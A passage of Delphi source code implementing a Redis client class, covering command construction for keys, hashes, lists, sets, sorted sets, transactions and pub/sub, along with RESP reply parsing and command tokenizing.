function Clone: IRedisClient;
end;
function NewRedisClient(const AHostName: string = 'localhost';
const APort: Word = 6379; const AUseSSL: Boolean = False; const ALibName: string = REDIS_NETLIB_INDY): IRedisClient;
function NewRedisCommand(const RedisCommandString: string): IRedisCommand;
function StringJoin(ADelimiter: Char; AStringArray: array of string): string;
implementation
uses Redis.NetLib.Factory;
{ TRedisClient }
function TRedisClient.SADD(const AKey, AValue: TBytes): Integer;
begin
FNextCMD := GetCmdList('SADD').Add(AKey).Add(AValue);
FTCPLibInstance.SendCmd(FNextCMD);
Result := ParseIntegerResponse(FValidResponse);
end;
function TRedisClient.SADD(const AKey, AValue: string): Integer;
begin
Result := SADD(BytesOfUnicode(AKey), BytesOfUnicode(AValue));
end;
function TRedisClient.SCAN(const ACursor: Integer; const AMatch: string; const ACount: Integer;
out ANextCursor: Integer): TArray<string>;
begin
FNextCMD := GetCmdList('SCAN').Add(ACursor);
if AMatch <> '' then
FNextCMD.Add('MATCH').Add(AMatch);
if ACount > 0 then
FNextCMD.Add('COUNT').Add(IntToStr(ACount));
SetLength(Result, 0);
FTCPLibInstance.SendCmd(FNextCMD);
Result := ParseCursorArrayResponse(FValidResponse, ANextCursor);
if FTCPLibInstance.LastReadWasTimedOut then
Exit;
if not FValidResponse then
raise ERedisException.Create('Not valid response');
end;
function TRedisClient.SCARD(const AKey: string): Integer;
begin
FNextCMD := GetCmdList('SCARD').Add(AKey);
Result := ExecuteWithIntegerResult(FNextCMD);
end;
procedure TRedisClient.SELECT(const ADBIndex: Integer);
begin
FNextCMD := GetCmdList('SELECT').Add(IntToStr(ADBIndex));
ExecuteWithStringResult(FNextCMD);
end;
function TRedisClient.&SET(const AKey, AValue: TBytes): boolean;
begin
FNextCMD := GetCmdList('SET');
FNextCMD.Add(AKey);
FNextCMD.Add(AValue);
FTCPLibInstance.SendCmd(FNextCMD);
ParseSimpleStringResponseAsByte(FNotExists);
Result := True;
end;
function TRedisClient.&SET(const AKey: string; AValue: TBytes): boolean;
begin
Result := &SET(BytesOf(AKey), AValue);
end;
function TRedisClient.APPEND(const AKey, AValue: TBytes): UInt64;
begin
FNextCMD := GetCmdList('APPEND');
FNextCMD.Add(AKey).Add(AValue);
FTCPLibInstance.SendCmd(FNextCMD);
Result := ParseIntegerResponse(FIsValidResponse);
end;
function TRedisClient.APPEND(const AKey, AValue: string): UInt64;
begin
Result := APPEND(BytesOf(AKey), BytesOf(AValue));
end;
procedure TRedisClient.AUTH(const aPassword: string);
begin
FNextCMD := GetCmdList('AUTH');
FNextCMD.Add(aPassword);
FTCPLibInstance.SendCmd(FNextCMD);
ParseSimpleStringResponse(FIsValidResponse);
end;
function TRedisClient.BLPOP(const AKeys: array of string; const ATimeout: Int32;
out Value: TArray<string>): boolean;
begin
FNextCMD := GetCmdList('BLPOP');
Value := InternalBlockingLeftOrRightPOP(FNextCMD, AKeys, ATimeout,
FIsValidResponse);
Result := FIsValidResponse;
end;
function TRedisClient.BRPOP(const AKeys: array of string; const ATimeout: Int32;
out Value: TArray<string>): boolean;
begin
FNextCMD := GetCmdList('BRPOP');
Value := InternalBlockingLeftOrRightPOP(FNextCMD, AKeys, ATimeout,
FIsValidResponse);
Result := FIsValidResponse;
end;
procedure TRedisClient.CheckResponseError(const aResponse: string);
begin
if aResponse[1] = '-' then
raise ERedisException.Create(Copy(aResponse, 2, Length(aResponse) - 1))
end;
procedure TRedisClient.CheckResponseType(Expected, Actual: string);
begin
if Expected <> Actual then
begin
raise ERedisException.CreateFmt('Expected %s got %s', [Expected, Actual]);
end;
end;
procedure TRedisClient.ClientSetName(const ClientName: string);
begin
FNextCMD := GetCmdList('CLIENT');
FNextCMD.Add('SETNAME');
FNextCMD.Add(ClientName);
FTCPLibInstance.SendCmd(FNextCMD);
CheckResponseType('OK', ParseSimpleStringResponse(FValidResponse));
end;
function TRedisClient.Clone: IRedisClient;
begin
Result := NewRedisClient(FHostName, FPort, FUseSSL, FTCPLibInstance.LibName);
end;
procedure TRedisClient.Connect;
begin
FTCPLibInstance.Connect(FHostName, FPort, FUseSSL);
end;
constructor TRedisClient.Create(const HostName: string; const Port: Word;
const AUseSSL: Boolean; const Lib: string);
var
TCPLibInstance: IRedisNetLibAdapter;
begin
inherited Create;
TCPLibInstance := TRedisNetLibFactory.GET(Lib);
Create(TCPLibInstance, HostName, Port, AUseSSL);
end;
constructor TRedisClient.Create(TCPLibInstance: IRedisNetLibAdapter;
const HostName: string; const Port: Word; const AUseSSL: Boolean);
begin
inherited Create;
FUseSSL := AUseSSL;
FTCPLibInstance := TCPLibInstance;
FHostName := HostName;
FPort := Port;
FRedisCmdParts := TRedisCommand.Create;
FCommandTimeout := -1;
end;
function TRedisClient.DECR(const AKey: string): NativeInt;
begin
FTCPLibInstance.SendCmd(GetCmdList('DECR').Add(AKey));
Result := ParseIntegerResponse(FValidResponse);
end;
function TRedisClient.DEL(const AKeys: array of string): Integer;
begin
FNextCMD := GetCmdList('DEL');
FNextCMD.AddRange(AKeys);
FTCPLibInstance.SendCmd(FNextCMD);
Result := ParseIntegerResponse(FValidResponse);
end;
destructor TRedisClient.Destroy;
begin
inherited;
end;
procedure TRedisClient.DISCARD;
begin
FNextCMD := GetCmdList('DISCARD');
FTCPLibInstance.SendCmd(FNextCMD);
ParseSimpleStringResponseAsByte(FValidResponse); // always OK
end;
procedure TRedisClient.Disconnect;
begin
try
FTCPLibInstance.Disconnect;
except
end;
end;
function TRedisClient.ExecuteWithIntegerResult(const RedisCommand: string)
: TArray<string>;
var
Pieces: TArray<string>;
I: Integer;
begin
Pieces := Tokenize(RedisCommand);
FNextCMD := GetCmdList(Pieces[0]);
for I := 1 to Length(Pieces) - 1 do
FNextCMD.Add(Pieces[I]);
FTCPLibInstance.SendCmd(FNextCMD);
Result := ParseArrayResponse(FIsValidResponse);
end;
function TRedisClient.ExecuteWithIntegerResult(const RedisCommand
: IRedisCommand): Int64;
begin
FTCPLibInstance.Write(RedisCommand.ToRedisCommand);
Result := ParseIntegerResponse(FValidResponse);
end;
function TRedisClient.ExecuteWithStringResult(const RedisCommand
: IRedisCommand): string;
begin
FTCPLibInstance.Write(RedisCommand.ToRedisCommand);
Result := ParseSimpleStringResponse(FValidResponse);
if not FValidResponse then
raise ERedisException.Create('Not valid response');
end;
function TRedisClient.EXISTS(const AKey: string): boolean;
begin
FNextCMD := GetCmdList('EXISTS');
FNextCMD.Add(AKey);
FTCPLibInstance.SendCmd(FNextCMD);
Result := ParseIntegerResponse(FValidResponse) = 1;
end;
function TRedisClient.EXPIRE(const AKey: string;
AExpireInSecond: UInt32): boolean;
begin
FTCPLibInstance.Write(GetCmdList('EXPIRE').Add(AKey)
.Add(UIntToStr(AExpireInSecond)).ToRedisCommand);
{
1 if the timeout was set.
0 if key does not exist or the timeout could not be set.
}
Result := ParseIntegerResponse(FValidResponse) = 1;
end;
function TRedisClient.EVAL(const AScript: string; AKeys,
AValues: array of string): Integer;
var
lCmd: IRedisCommand;
lParamsCount: Integer;
lPar: string;
begin
lCmd := NewRedisCommand('EVAL');
lParamsCount := Length(AKeys);
lCmd.Add(AScript).Add(IntToStr(lParamsCount));
if lParamsCount > 0 then
begin
for lPar in AKeys do
begin
lCmd.Add(lPar);
end;
for lPar in AValues do
begin
lCmd.Add(lPar);
end;
end;
Result := ExecuteWithIntegerResult(lCmd);
end;
function TRedisClient.EXEC: TArray<string>;
begin
FNextCMD := GetCmdList('EXEC');
FTCPLibInstance.SendCmd(FNextCMD);
FInTransaction := False;
Result := ParseArrayResponse(FValidResponse);
if not FValidResponse then
raise ERedisException.Create('Transaction failed');
end;
function TRedisClient.ExecuteAndGetArray(const RedisCommand: IRedisCommand)
: TArray<string>;
begin
SetLength(Result, 0);
FTCPLibInstance.Write(RedisCommand.ToRedisCommand);
Result := ParseArrayResponse(FValidResponse);
if FTCPLibInstance.LastReadWasTimedOut then
Exit;
if not FValidResponse then
raise ERedisException.Create('Not valid response');
end;
procedure TRedisClient.FLUSHDB;
begin
FTCPLibInstance.SendCmd(GetCmdList('FLUSHDB'));
ParseSimpleStringResponse(FNotExists);
end;
function TRedisClient.GET(const AKey: string; out AValue: string): boolean;
var
Resp: TBytes;
begin
Result := GET(BytesOfUnicode(AKey), Resp);
AValue := StringOfUnicode(Resp);
end;
function TRedisClient.GET(const AKey: TBytes; out AValue: TBytes): boolean;
var
Pieces: IRedisCommand;
begin
Pieces := GetCmdList('GET');
Pieces.Add(AKey);
FTCPLibInstance.SendCmd(Pieces);
AValue := ParseSimpleStringResponseAsByte(FValidResponse);
Result := FValidResponse;
end;
function TRedisClient.GetCmdList(const Cmd: string): IRedisCommand;
begin
FRedisCmdParts.Clear;
Result := FRedisCmdParts;
Result.SetCommand(Cmd);
end;
function TRedisClient.GETRANGE(const AKey: string; const AStart,
AEnd: NativeInt): string;
begin
FNextCMD := GetCmdList('GETRANGE').Add(AKey).Add(AStart).Add(AEnd);
FTCPLibInstance.SendCmd(FNextCMD);
Result := ParseSimpleStringResponse(FIsValidResponse);
end;
function TRedisClient.HSET(const AKey, aField: string; AValue: string): Integer;
begin
Result := HSET(AKey, aField, BytesOfUnicode(AValue));
end;
function TRedisClient.HGET(const AKey, aField: string;
out AValue: TBytes): boolean;
var
Pieces: IRedisCommand;
begin
Pieces := GetCmdList('HGET');
Pieces.Add(AKey);
Pieces.Add(aField);
FTCPLibInstance.SendCmd(Pieces);
AValue := ParseSimpleStringResponseAsByte(FValidResponse);
Result := FValidResponse;
end;
function TRedisClient.HDEL(const AKey: string;
aFields: TArray<string>): Integer;
var
lCommand: IRedisCommand;
begin
lCommand := GetCmdList('HDEL');
lCommand.Add(AKey);
lCommand.AddRange(aFields);
FTCPLibInstance.SendCmd(lCommand);
Result := ParseIntegerResponse(FValidResponse);
end;
function TRedisClient.HGET(const AKey, aField: string;
out AValue: string): boolean;
var
Resp: TBytes;
begin
Result := HGET(AKey, aField, Resp);
AValue := StringOfUnicode(Resp);
end;
function TRedisClient.HMGET(const AKey: string;
aFields: TArray<string>): TArray<string>;
var
Pieces: IRedisCommand;
I: Integer;
begin
Pieces := GetCmdList('HMGET');
Pieces.Add(AKey);
for I := low(aFields) to high(aFields) do
begin
Pieces.Add(aFields[I]);
end;
FTCPLibInstance.SendCmd(Pieces);
Result := ParseArrayResponse(FValidResponse)
end;
procedure TRedisClient.HMSET(const AKey: string; aFields: TArray<string>; AValues: TArray<string>);
var
I: Integer;
begin
if Length(aFields) <> Length(AValues) then
raise ERedisException.Create('Fields count and values count are different');
FNextCMD := GetCmdList('HMSET');
FNextCMD.Add(AKey);
for I := low(aFields) to high(aFields) do
begin
FNextCMD.Add(aFields[I]);
FNextCMD.Add(AValues[I]);
end;
FTCPLibInstance.SendCmd(FNextCMD);
if FInTransaction then
CheckResponseType('QUEUED',
StringOf(ParseSimpleStringResponseAsByte(FValidResponse)))
else
CheckResponseType('OK',
StringOf(ParseSimpleStringResponseAsByte(FValidResponse)));
end;
function TRedisClient.HSET(const AKey, aField: string; AValue: TBytes): Integer;
begin
FNextCMD := GetCmdList('HSET');
FNextCMD.Add(AKey);
FNextCMD.Add(aField);
FNextCMD.Add(AValue);
FTCPLibInstance.SendCmd(FNextCMD);
Result := ParseIntegerResponse(FValidResponse);
end;
function TRedisClient.INCR(const AKey: string): NativeInt;
begin
FTCPLibInstance.SendCmd(GetCmdList('INCR').Add(AKey));
Result := ParseIntegerResponse(FValidResponse);
end;
function TRedisClient.InternalBlockingLeftOrRightPOP(NextCMD: IRedisCommand;
AKeys: array of string; ATimeout: Int32; var AIsValidResponse: boolean)
: TArray<string>;
begin
NextCMD.AddRange(AKeys);
NextCMD.Add(IntToStr(ATimeout));
FTCPLibInstance.SendCmd(NextCMD);
Result := ParseArrayResponse(AIsValidResponse);
end;
function TRedisClient.InTransaction: boolean;
begin
Result := FInTransaction;
end;
function TRedisClient.KEYS(const AKeyPattern: string): TArray<string>;
begin
FNextCMD := GetCmdList('KEYS');
FNextCMD.Add(BytesOfUnicode(AKeyPattern));
FTCPLibInstance.SendCmd(FNextCMD);
Result := ParseArrayResponse(FIsValidResponse);
end;
function TRedisClient.LLEN(const AListKey: string): Integer;
begin
FNextCMD := GetCmdList('LLEN');
FNextCMD.Add(AListKey);
FTCPLibInstance.SendCmd(FNextCMD);
Result := ParseIntegerResponse(FValidResponse);
end;
function TRedisClient.LPOP(const AListKey: string; out Value: string): boolean;
begin
FNextCMD := GetCmdList('LPOP');
FNextCMD.Add(AListKey);
FTCPLibInstance.SendCmd(FNextCMD);
Value := ParseSimpleStringResponse(Result);
end;
function TRedisClient.LPUSH(const AListKey: string;
AValues: array of string): Integer;
begin
FNextCMD := GetCmdList('LPUSH');
FNextCMD.Add(AListKey);
FNextCMD.AddRange(AValues);
FTCPLibInstance.SendCmd(FNextCMD);
Result := ParseIntegerResponse(FValidResponse);
end;
function TRedisClient.LPUSHX(const AListKey: string;
AValues: array of string): Integer;
begin
FNextCMD := GetCmdList('LPUSHX');
FNextCMD.Add(AListKey);
FNextCMD.AddRange(AValues);
FTCPLibInstance.SendCmd(FNextCMD);
Result := ParseIntegerResponse(FValidResponse);
end;
function TRedisClient.LRANGE(const AListKey: string;
IndexStart, IndexStop: Integer): TArray<string>;
begin
FNextCMD := GetCmdList('LRANGE');
FNextCMD.Add(AListKey);
FNextCMD.Add(IntToStr(IndexStart));
FNextCMD.Add(IntToStr(IndexStop));
FTCPLibInstance.SendCmd(FNextCMD);
Result := ParseArrayResponse(FIsValidResponse);
end;
function TRedisClient.LREM(const AListKey: string; const ACount: Integer;
const AValue: string): Integer;
begin
FNextCMD := GetCmdList('LREM');
FNextCMD.Add(AListKey);
FNextCMD.Add(IntToStr(ACount));
FNextCMD.Add(AValue);
FTCPLibInstance.SendCmd(FNextCMD);
Result := ParseIntegerResponse(FValidResponse);
end;
procedure TRedisClient.LTRIM(const AListKey: string; const AIndexStart,
AIndexStop: Integer);
var
lResult: string;
begin
FNextCMD := GetCmdList('LTRIM')
.Add(AListKey)
.Add(IntToStr(AIndexStart))
.Add(IntToStr(AIndexStop));
lResult := ExecuteWithStringResult(FNextCMD);
if lResult <> 'OK' then
raise ERedisException.Create(lResult);
end;
function TRedisClient.MSET(const AKeysValues: array of string): boolean;
begin
FNextCMD := GetCmdList('MSET');
FNextCMD.AddRange(AKeysValues);
FTCPLibInstance.SendCmd(FNextCMD);
Result := ParseSimpleStringResponse(FNotExists) = 'OK';
end;
procedure TRedisClient.MULTI;
begin
FNextCMD := GetCmdList('MULTI');
FTCPLibInstance.SendCmd(FNextCMD);
ParseSimpleStringResponse(FValidResponse);
FInTransaction := True;
end;
function TRedisClient.MULTI(ARedisTansactionProc: TRedisTransactionProc)
: TArray<string>;
begin
FNextCMD := GetCmdList('MULTI');
try
FTCPLibInstance.SendCmd(FNextCMD);
ParseSimpleStringResponse(FValidResponse);
FInTransaction := True;
try
ARedisTansactionProc(self);
except
DISCARD;
raise;
end;
FNextCMD := GetCmdList('EXEC');
FTCPLibInstance.SendCmd(FNextCMD);
Result := ParseArrayResponse(FValidResponse);
if not FValidResponse then
raise ERedisException.Create('Transaction failed');
finally
FInTransaction := False;
end;
end;
procedure TRedisClient.NextToken(out Msg: string);
begin
Msg := FTCPLibInstance.Receive(FCommandTimeout);
FIsTimeout := FTCPLibInstance.LastReadWasTimedOut;
end;
function TRedisClient.NextBytes(const ACount: UInt32): TBytes;
begin
FTCPLibInstance.ReceiveBytes(ACount, FCommandTimeout);
end;
function TRedisClient.ParseArrayResponse(var AValidResponse: boolean)
: TArray<string>;
var
R: string;
ArrLength: Integer;
I: Integer;
begin
// In RESP, the type of some data depends on the first byte:
// For Simple Strings the first byte of the reply is "+"
// For Errors the first byte of the reply is "-"
// For Integers the first byte of the reply is ":"
// For Bulk Strings the first byte of the reply is "$"
// For Arrays the first byte of the reply is "*"
SetLength(Result, 0);
AValidResponse := True;
NextToken(R);
if FIsTimeout then
Exit;
CheckResponseError(R);
if R = TRedisConsts.NULL_ARRAY then
begin
AValidResponse := False;
Exit;
end;
if R[1] = '*' then
begin
ArrLength := StrToIntDef(Copy(R, 2, Length(R) - 1), 0);
// if ArrLength = -1 then // REDIS_NULL_BULK_STRING
// begin
// AValidResponse := False;
// Exit;
// end;
end
else
raise ERedisException.Create('Invalid response length, invalid array response');
SetLength(Result, ArrLength);
if ArrLength = 0 then
Exit;
I := 0;
while True do
begin
Result[I] := StringOfUnicode(ParseSimpleStringResponseAsByte(FNotExists));
inc(I);
if I >= ArrLength then
break;
end;
end;
function TRedisClient.ParseCursorArrayResponse(var AValidResponse: boolean;
var ANextCursor: Integer): TArray<string>;
var
R: string;
ArrLength: Integer;
begin
// In RESP, the type of some data depends on the first byte:
// For Simple Strings the first byte of the reply is "+"
// For Errors the first byte of the reply is "-"
// For Integers the first byte of the reply is ":"
// For Bulk Strings the first byte of the reply is "$"
// For Arrays the first byte of the reply is "*"
AValidResponse := True;
NextToken(R);
if FIsTimeout then
Exit;
CheckResponseError(R);
if R = TRedisConsts.NULL_ARRAY then
begin
AValidResponse := False;
Exit;
end;
if R[1] = '*' then
begin
ArrLength := StrToIntDef(Copy(R, 2, Length(R) - 1), 0);
end
else
raise ERedisException.Create('Invalid response length, invalid array response');
if ArrLength <> 2 then
raise ERedisException.Create('Invalid response length, invalid cursor array response');
ANextCursor := StrToInt(StringOfUnicode(ParseSimpleStringResponseAsByte(FNotExists)));
Result := ParseArrayResponse(AValidResponse);
end;
function TRedisClient.ParseIntegerResponse(var AValidResponse
: boolean): Int64;
var
R: string;
I: Integer;
HowMany: Integer;
begin
Result := -1;
if FInTransaction then
begin
R := ParseSimpleStringResponse(FValidResponse);
if R <> 'QUEUED' then
raise ERedisException.Create(R);
Exit;
end;
NextToken(R);
if FIsTimeout then
Exit;
CheckResponseError(R);
case R[1] of
':':
begin
if not TryStrToInt(Copy(R, 2, Length(R) - 1), I) then
raise ERedisException.CreateFmt('Expected Integer got [%s]', [R]);
Result := I;
end;
'$':
begin
HowMany := StrToIntDef(Copy(R, 2, Length(R) - 1), 0);
if HowMany = -1 then
begin
AValidResponse := False;
Result := -1;
end
else
raise ERedisException.Create('Not an Integer response');
end;
else
raise ERedisException.Create('Not an Integer response');
end;
end;
function TRedisClient.ParseSimpleStringResponse(var AValidResponse: boolean): string;
begin
Result := StringOf(ParseSimpleStringResponseAsByte(AValidResponse));
end;
function TRedisClient.ParseSimpleStringResponseAsByte(var AValidResponse
: boolean): TBytes;
var
R: string;
HowMany: Integer;
begin
SetLength(Result, 0);
AValidResponse := True;
NextToken(R);
if FIsTimeout then
Exit;
if R = TRedisConsts.NULL_BULK_STRING then
begin
AValidResponse := False;
Exit;
end;
if R = TRedisConsts.NULL_ARRAY then
begin
// A client library API should return a null object and not an empty Array when
// Redis replies with a Null Array. This is necessary to distinguish between an empty
// list and a different condition (for instance the timeout condition of the BLPOP command).
AValidResponse := False;
Exit;
end;
CheckResponseError(R);
// In RESP, the type of some data depends on the first byte:
// For Simple Strings the first byte of the reply is "+"
// For Errors the first byte of the reply is "-"
// For Integers the first byte of the reply is ":"
// For Bulk Strings the first byte of the reply is "$"
// For Arrays the first byte of the reply is "*"
case R[1] of
'+':
Result := BytesOf(Copy(R, 2, Length(R) - 1));
':':
Result := BytesOf(Copy(R, 2, Length(R) - 1));
'$':
begin
HowMany := StrToIntDef(Copy(R, 2, Length(R) - 1), -1);
if HowMany >= 0 then
begin
Result := FTCPLibInstance.ReceiveBytes(HowMany, FCommandTimeout);
// eat crlf
FTCPLibInstance.ReceiveBytes(2, FCommandTimeout);
end
else if HowMany = -1 then
// "$-1\r\n" --> This is called a Null Bulk String.
begin
AValidResponse := False;
SetLength(Result, 0);
end;
end;
else
raise ERedisException.Create('Not a String response');
end;
end;
function TRedisClient.PUBLISH(const AChannel: string; AMessage: string)
: Integer;
begin
FNextCMD := GetCmdList('PUBLISH');
FNextCMD.Add(AChannel);
FNextCMD.Add(AMessage);
FTCPLibInstance.SendCmd(FNextCMD);
Result := ParseIntegerResponse(FValidResponse);
end;
function TRedisClient.RPOP(const AListKey: string; var Value: string): boolean;
begin
FNextCMD := GetCmdList('RPOP');
FNextCMD.Add(AListKey);
FTCPLibInstance.SendCmd(FNextCMD);
Value := ParseSimpleStringResponse(Result);
end;
function TRedisClient.BRPOPLPUSH(const ARightListKey, ALeftListKey: string;
var APoppedAndPushedElement: string; ATimeout: Int32): boolean;
var
lValue: string;
begin
APoppedAndPushedElement := '';
FNextCMD := GetCmdList('BRPOPLPUSH');
FNextCMD.Add(ARightListKey);
FNextCMD.Add(ALeftListKey);
FNextCMD.Add(IntToStr(ATimeout));
FTCPLibInstance.SendCmd(FNextCMD);
lValue := ParseSimpleStringResponse(FValidResponse);
Result := FValidResponse; // and (not(lValue = TRedisConsts.NULL_ARRAY));
if Result then
begin
APoppedAndPushedElement := lValue;
// Result := FValidResponse;
end;
end;
function TRedisClient.RPOPLPUSH(const ARightListKey, ALeftListKey: string;
var APoppedAndPushedElement: string): boolean;
begin
FNextCMD := GetCmdList('RPOPLPUSH');
FNextCMD.Add(ARightListKey);
FNextCMD.Add(ALeftListKey);
FTCPLibInstance.SendCmd(FNextCMD);
APoppedAndPushedElement := ParseSimpleStringResponse(FValidResponse);
Result := FValidResponse;
end;
function TRedisClient.RPUSH(const AListKey: string;
AValues: array of string): Integer;
begin
FNextCMD := GetCmdList('RPUSH');
FNextCMD.Add(AListKey);
FNextCMD.AddRange(AValues);
try
FTCPLibInstance.SendCmd(FNextCMD);
Result := ParseIntegerResponse(FValidResponse);
except
Result := 0;
end;
end;
function TRedisClient.RPUSHX(const AListKey: string;
AValues: array of string): Integer;
begin
FNextCMD := GetCmdList('RPUSHX');
FNextCMD.Add(AListKey);
FNextCMD.AddRange(AValues);
FTCPLibInstance.SendCmd(FNextCMD);
Result := ParseIntegerResponse(FValidResponse);
end;
function TRedisClient.&SET(const AKey, AValue: string): boolean;
begin
Result := &SET(BytesOfUnicode(AKey), BytesOfUnicode(AValue));
end;
procedure TRedisClient.SetCommandTimeout(const Timeout: Int32);
begin
FCommandTimeout := Timeout;
end;
function TRedisClient.SETNX(const AKey, AValue: string): boolean;
begin
Result := SETNX(BytesOfUnicode(AKey), BytesOfUnicode(AValue));
end;
function TRedisClient.&SET(const AKey: string; AValue: TBytes;
ASecsExpire: UInt64): boolean;
begin
Result := &SET(BytesOfUnicode(AKey), AValue, ASecsExpire);
end;
function TRedisClient.&SET(const AKey: TBytes; AValue: TBytes;
ASecsExpire: UInt64): boolean;
begin
FNextCMD := GetCmdList('SET');
FNextCMD.Add(AKey);
FNextCMD.Add(AValue);
FNextCMD.Add('EX');
FNextCMD.Add(IntToStr(ASecsExpire));
FTCPLibInstance.SendCmd(FNextCMD);
ParseSimpleStringResponseAsByte(FNotExists);
Result := True;
end;
function TRedisClient.&SET(const AKey: string; AValue: string;
ASecsExpire: UInt64): boolean;
begin
Result := &SET(BytesOfUnicode(AKey), BytesOfUnicode(AValue), ASecsExpire);
end;
function TRedisClient.SETNX(const AKey, AValue: TBytes): boolean;
begin
FNextCMD := GetCmdList('SETNX');
FNextCMD.Add(AKey);
FNextCMD.Add(AValue);
FTCPLibInstance.SendCmd(FNextCMD);
Result := ParseIntegerResponse(FValidResponse) = 1;
end;
function TRedisClient.SETRANGE(const AKey: string; const AOffset: NativeInt;
const AValue: string): NativeInt;
begin
FNextCMD := GetCmdList('SETRANGE').Add(AKey).Add(AOffset).Add(AValue);
FTCPLibInstance.SendCmd(FNextCMD);
Result := ParseIntegerResponse(FIsValidResponse);
end;
function TRedisClient.SMEMBERS(const AKey: string): TArray<string>;
begin
FNextCMD := GetCmdList('SMEMBERS').Add(AKey);
FTCPLibInstance.SendCmd(FNextCMD);
Result := ParseArrayResponse(FValidResponse);
end;
function TRedisClient.SREM(const AKey, AValue: string): Integer;
begin
Result := SREM(BytesOfUnicode(AKey), BytesOfUnicode(AValue));
end;
function TRedisClient.STRLEN(const AKey: string): UInt64;
begin
FNextCMD := GetCmdList('STRLEN').Add(AKey);
FTCPLibInstance.SendCmd(FNextCMD);
Result := ParseIntegerResponse(FValidResponse);
end;
function TRedisClient.SREM(const AKey, AValue: TBytes): Integer;
begin
FNextCMD := GetCmdList('SREM').Add(AKey).Add(AValue);
FTCPLibInstance.SendCmd(FNextCMD);
Result := ParseIntegerResponse(FValidResponse);
end;
procedure TRedisClient.SUBSCRIBE(const AChannels: array of string;
ACallback: TProc<string, string>; AContinueOnTimeoutCallback: TRedisTimeoutCallback);
var
I: Integer;
lChannel, lValue: string;
lArr: TArray<string>;
lContinue: boolean;
begin
FNextCMD := GetCmdList('SUBSCRIBE');
FNextCMD.AddRange(AChannels);
FTCPLibInstance.SendCmd(FNextCMD);
// just to implement a sort of non blocking subscribe
SetCommandTimeout(RedisDefaultSubscribeTimeout);
for I := 0 to Length(AChannels) - 1 do
begin
lArr := ParseArrayResponse(FValidResponse);
if (LowerCase(lArr[0]) <> 'subscribe') or (lArr[1] <> AChannels[I]) then
raise ERedisException.Create('Invalid response: ' + StringJoin('-', lArr))
end;
// all is fine, now read the callbacks message
while True do
begin
lArr := ParseArrayResponse(FValidResponse);
if FTCPLibInstance.LastReadWasTimedOut then
begin
if Assigned(AContinueOnTimeoutCallback) then
begin
lContinue := AContinueOnTimeoutCallback();
if not lContinue then
break;
end;
end
else
begin
if (not FValidResponse) or (lArr[0] <> 'message') then
raise ERedisException.CreateFmt('Invalid reply: %s',
[StringJoin('-', lArr)]);
lChannel := lArr[1];
lValue := lArr[2];
ACallback(lChannel, lValue);
end;
end;
end;
function TRedisClient.Tokenize(const ARedisCommand: string): TArray<string>;
var
C: Char;
List: TList<string>;
CurState: Integer;
Piece: string;
const
SSINK = 1;
SQUOTED = 2;
SESCAPE = 3;
begin
Piece := '';
List := TList<string>.Create;
try
CurState := SSINK;
for C in ARedisCommand do
begin
case CurState of
SESCAPE: // only in quoted mode
begin
if C = '"' then
begin
Piece := Piece + '"';
CurState := SQUOTED;
end
else if C = '\' then
begin
Piece := Piece + '\';
end
else
begin
Piece := Piece + '\' + C;
CurState := SQUOTED;
end
end;
SQUOTED:
begin
if C = '\' then
CurState := SESCAPE
else if C = '"' then
CurState := SSINK
else
Piece := Piece + C;
end;
SSINK:
begin
if C = '"' then
begin
CurState := SQUOTED;
if Piece <> '' then
begin
List.Add(Piece);
Piece := '';
end;
end
else if C = ' ' then
begin
if Piece <> '' then
begin
List.Add(Piece);
Piece := '';
end;
end
else
Piece := Piece + C;
end;
end;
end;
if CurState <> SSINK then
raise ERedisException.Create('Invalid end of command');
if Piece <> '' then
List.Add(Piece);
Result := List.ToArray;
finally
List.Free;
end;
end;
function TRedisClient.TTL(const AKey: string): Integer;
begin
FNextCMD := GetCmdList('TTL');
FNextCMD.Add(AKey);
FTCPLibInstance.SendCmd(FNextCMD);
Result := ParseIntegerResponse(FValidResponse);
end;
procedure TRedisClient.WATCH(const AKeys: array of string);
var
lKey: string;
begin
FNextCMD := GetCmdList('WATCH');
for lKey in AKeys do
begin
FNextCMD.Add(lKey);
end;
ExecuteWithStringResult(FNextCMD); // ALWAYS 'OK' OR EXCEPTION
end;
function TRedisClient.ZADD(const AKey: string; const AScore: Int64;
const AMember: string): Integer;
begin
FNextCMD := GetCmdList('ZADD');
FNextCMD.Add(AKey).Add(IntToStr(AScore)).Add(AMember);
Result := ExecuteWithIntegerResult(FNextCMD);
end;
function TRedisClient.ZCARD(const AKey: string): Integer;
begin
FNextCMD := GetCmdList('ZCARD').Add(AKey);
Result := ExecuteWithIntegerResult(FNextCMD);
end;
function TRedisClient.ZCOUNT(const AKey: string; const AMin,
AMax: Int64): Integer;
begin
FNextCMD := GetCmdList('ZCOUNT');
FNextCMD.Add(AKey).Add(IntToStr(AMin)).Add(IntToStr(AMax));
Result := ExecuteWithIntegerResult(FNextCMD);
end;
function TRedisClient.ZINCRBY(const AKey: string; const AIncrement: Int64;
const AMember: string): string;
begin
FNextCMD := GetCmdList('ZINCRBY');
FNextCMD.Add(AKey).Add(IntToStr(AIncrement)).Add(AMember);
Result := ExecuteWithStringResult(FNextCMD);
end;
function TRedisClient.ZRANGE(const AKey: string; const AStart,
AStop: Int64): TArray<string>;
begin
FNextCMD := GetCmdList('ZRANGE');
FNextCMD.Add(AKey).Add(IntToStr(AStart)).Add(IntToStr(AStop));
Result := ExecuteAndGetArray(FNextCMD);
end;
function TRedisClient.ZRANGEWithScore(const AKey: string; const AStart,
AStop: Int64): TArray<string>;
begin
FNextCMD := GetCmdList('ZRANGE');
FNextCMD.Add(AKey).Add(IntToStr(AStart)).Add(IntToStr(AStop)).Add('WITHSCORES');
Result := ExecuteAndGetArray(FNextCMD);
end;
function TRedisClient.ZRANK(const AKey: string; const AMember: string; out ARank: Int64): boolean;
begin
FNextCMD := GetCmdList('ZRANK');
FNextCMD.Add(AKey).Add(AMember);
ARank := ExecuteWithIntegerResult(FNextCMD);
Result := ARank <> -1;
end;
function TRedisClient.ZREM(const AKey, AMember: string): Integer;
begin
FNextCMD := GetCmdList('ZREM');
FNextCMD.Add(AKey).Add(AMember);
Result := ExecuteWithIntegerResult(FNextCMD);
end;
function NewRedisClient(const AHostName: string; const APort: Word; const AUseSSL: Boolean;
const ALibName: string): IRedisClient;
var
TCPLibInstance: IRedisNetLibAdapter;
begin
TCPLibInstance := TRedisNetLibFactory.GET(ALibName);
Result := TRedisClient.Create(TCPLibInstance, AHostName, APort, AUseSSL);
try
TRedisClient(Result).Connect;
except
Result := nil;
raise;
end;
end;
function NewRedisCommand(const RedisCommandString: string): IRedisCommand;
begin
Result := TRedisCommand.Create;
TRedisCommand(Result).SetCommand(RedisCommandString);
end;
